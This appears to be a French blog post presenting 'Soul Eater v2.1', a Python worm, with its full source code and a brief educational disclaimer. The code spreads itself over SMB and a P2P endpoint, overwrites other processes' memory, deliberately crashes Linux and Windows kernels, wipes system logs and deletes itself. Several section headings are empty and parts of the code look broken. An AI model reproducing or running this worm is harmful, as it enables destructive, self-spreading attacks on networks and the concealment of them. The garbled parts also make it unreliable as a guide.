⚡ SOUL EATER v2.1 – LE DÉVOREUR AUTONOME ⚡

Un hack Python qui cogne dur – SMB, P2P, rootkit, anti-forensic. Le chaos ultime.

💀 QU’EST-CE QUE SOUL EATER ?

Soul Eater v2.1 est une bête Python qui ne fait pas de prisonniers. Imagine un monstre autonome qui s’infiltre dans les systèmes (Linux, Windows, IoT), dévore leurs secrets (clés, mémoire), et les laisse en cendres sans laisser de traces. Propagation via SMB et P2P, injection dans le kernel, et une furtivité anti-forensic qui rend les experts fous. Créé par platon-y pour pctamalou.fr, c’est un hack éthique pour apprendre et cogner en labo. Prêt à voir ce qu’il a dans le ventre ? 😈

🛠️ DÉVELOPPEMENT

Matériel & Setup

Pour faire naître ce dévoreur, voilà ce qu’il te faut :

Évolution

Ce monstre a grandi étape par étape :

⚡ COMMENT ÇA MARCHE ?

Voici le plan d’attaque de *Soul Eater* – un vrai prédateur :

🧪 TEST EN LABO

Envie de voir la bête en action ? Voici comment tester en toute sécurité :

🐍 LE CODE COMPLET

Voici le cœur de *Soul Eater v2.1* – un script Python qui mélange chaos et élégance. Chaque partie est expliquée pour que tu puisses le comprendre et l’adapter :

#!/usr/bin/env python3
# Soul Eater v2.1 – Dévoreur Autonome (CPython + PyPy)
import os, sys, random, ctypes, psutil, zmq, time, socket, threading, asyncio, aiohttp
from impacket import smbconnection  # Pour attaquer via SMB
from pyptrace import Process  # Injection sous Linux
from volatility3.framework import automagic, contexts  # Analyse mémoire

# Configuration de base
TARGET_OS = "linux" if os.name == "posix" else "windows"  # Détecte l’OS cible
ZMQ_PORT = 5555  # Port pour la com réseau
P2P_PORT = 6666  # Port pour le worm P2P
SMB_CREDS = ("guest", "")  # Credentials SMB (à adapter)

# Génère un payload aléatoire ou destructeur
def generate_payload(size=1024):
    return bytes([random.randint(0, 255) for _ in range(size)])

# Injection dans un processus + mode berserk
def eat_process(pid, berserk=False):
    try:
        if TARGET_OS == "linux":
            proc = Process(pid)  # Attache au processus
            proc.attach()
            mem = proc.read_memory(0x1000, 0xFFFF)  # Lit la mémoire
            payload = generate_payload(0xFFFF) if not berserk else b"\xFF" * 0xFFFF  # Chaos total en berserk
            proc.write_memory(0x1000, payload)  # Injecte le payload
            if berserk:
                os.system("echo 1 > /proc/sys/kernel/sysrq && echo c > /proc/sysrq-trigger")  # Crash kernel
            proc.detach()
            return mem
        elif TARGET_OS == "windows":
            handle = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, pid)  # Ouvre le process
            mem = ctypes.create_string_buffer(0xFFFF)
            ctypes.windll.kernel32.ReadProcessMemory(handle, 0x1000, mem, 0xFFFF, None)  # Lit
            payload = generate_payload(0xFFFF) if not berserk else b"\xFF" * 0xFFFF
            ctypes.windll.kernel32.WriteProcessMemory(handle, 0x1000, payload, 0xFFFF, None)  # Écrit
            if berserk:
                ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_int()))
                ctypes.windll.ntdll.NtRaiseHardError(0xC0000350, 0, 0, 0, 6, ctypes.byref(ctypes.c_int()))  # BSOD
            ctypes.windll.kernel32.CloseHandle(handle)
            return mem.raw
    except Exception as e:
        print(f"[-] Erreur PID {pid} : {e}")
        return None

# Propagation via SMB (style EternalBlue)
def spread_smb():
    def scan_network():
        ip_base = ".".join(socket.gethostbyname(socket.gethostname()).split(".")[:-1])
        return [f"{ip_base}.{i}" for i in range(1, 255)]  # Scan du réseau local
    for target in scan_network():
        try:
            conn = smbconnection.SMBConnection(target, target, sess_port=445)
            conn.login(*SMB_CREDS)
            conn.connectTree("C$")  # Accès au disque
            with open(__file__, "rb") as f:
                conn.storeFile("C$", "soul_eater.py", f)  # Copie le script
            conn.createSubProcess("python soul_eater.py")  # Exécute
            print(f"[+] {target} infecté via SMB")
            conn.close()
        except:
            pass

# Worm P2P asynchrone
async def spread_p2p():
    async with aiohttp.ClientSession() as session:
        peers = ["localhost"]  # À remplacer par un vrai réseau P2P
        while True:
            for peer in peers:
                try:
                    async with session.post(f"http://{peer}:{P2P_PORT}/infect", data=open(__file__, "rb")) as resp:
                        if resp.status == 200:
                            print(f"[+] {peer} infecté via P2P")
                except:
                    pass
            await asyncio.sleep(10)  # Attente entre cycles

# Serveur P2P pour recevoir l’infection
async def p2p_server():
    async def handler(request):
        with open(__file__, "wb") as f:
            f.write(await request.read())  # Réécrit le script
        os.system(f"python {__file__} &")  # Relance en fond
        return aiohttp.web.Response(text="Infected")
    app = aiohttp.web.Application()
    app.add_routes([aiohttp.web.post('/infect', handler)])
    runner = aiohttp.web.AppRunner(app)
    await runner.setup()
    site = aiohttp.web.TCPSite(runner, '0.0.0.0', P2P_PORT)
    await site.start()

# Efface toutes les traces
def erase_footprints():
    if TARGET_OS == "linux":
        os.system("echo > /var/log/syslog && find / -name '*.log' -exec truncate -s 0 {} \;")
        os.system("echo 0 > /proc/sys/kernel/printk")  # Désactive logs kernel
    elif TARGET_OS == "windows":
        os.system("wevtutil cl System && wevtutil cl Application")  # Nettoie logs
    os.remove(__file__)  # S’auto-détruit
    print("[+] Traces effacées – Néant total")

# Choix intelligent des cibles
def choose_targets(berserk=False):
    targets = []
    for proc in psutil.process_iter(["pid", "name", "memory_percent"]):
        pid = proc.info["pid"]
        name = proc.info["name"].lower()
        mem = proc.info["memory_percent"]
        if "kernel" not in name and pid != os.getpid() and (mem > 0.1 or berserk):
            targets.append(pid)
    return targets[:10] if not berserk else targets  # Limite sauf en berserk

# Propagation via réseau ZMQ
def spread_chaos():
    context = zmq.Context()
    socket = context.socket(zmq.PUSH)
    socket.bind(f"tcp://*:{ZMQ_PORT}")
    while True:
        targets = choose_targets()
        socket.send_pyobj({"command": "eat", "targets": targets})
        time.sleep(random.uniform(5, 15))  # Rythme aléatoire

# Écoute des ordres
def listen_chaos():
    context = zmq.Context()
    socket = context.socket(zmq.PULL)
    socket.connect(f"tcp://localhost:{ZMQ_PORT}")
    while True:
        msg = socket.recv_pyobj()
        if msg["command"] == "eat":
            for pid in msg["targets"]:
                eat_process(pid)

# Lancement du chaos
def soul_eater():
    print("[+] Soul Eater v2.1 – Le dévoreur ultime s’éveille...")
    threading.Thread(target=spread_chaos, daemon=True).start()  # Propagation réseau
    threading.Thread(target=listen_chaos, daemon=True).start()  # Écoute locale
    threading.Thread(target=spread_smb, daemon=True).start()  # SMB
    asyncio.run(spread_p2p())  # P2P worm
    asyncio.run(p2p_server())  # Serveur P2P

    for pid in choose_targets(berserk=True):  # Mode berserk
        eat_process(pid, berserk=True)

    time.sleep(60)  # 1 minute de chaos
    erase_footprints()

if __name__ == "__main__":
    if os.geteuid() != 0 and TARGET_OS == "linux":
        print("[-] Root requis sur Linux !")
        sys.exit(1)
    soul_eater()

⚠️ DISCLAIMER

Écoute bien, nomade : *Soul Eater v2.1* est une démo éducative pour piger les failles systèmes et s’entraîner en labo. C’est pas un jouet pour faire mumuse dans le réel sans consentement – l’usage non autorisé est illégal et t’en portes la responsabilité. On cogne dur, mais avec éthique, OK ? 💪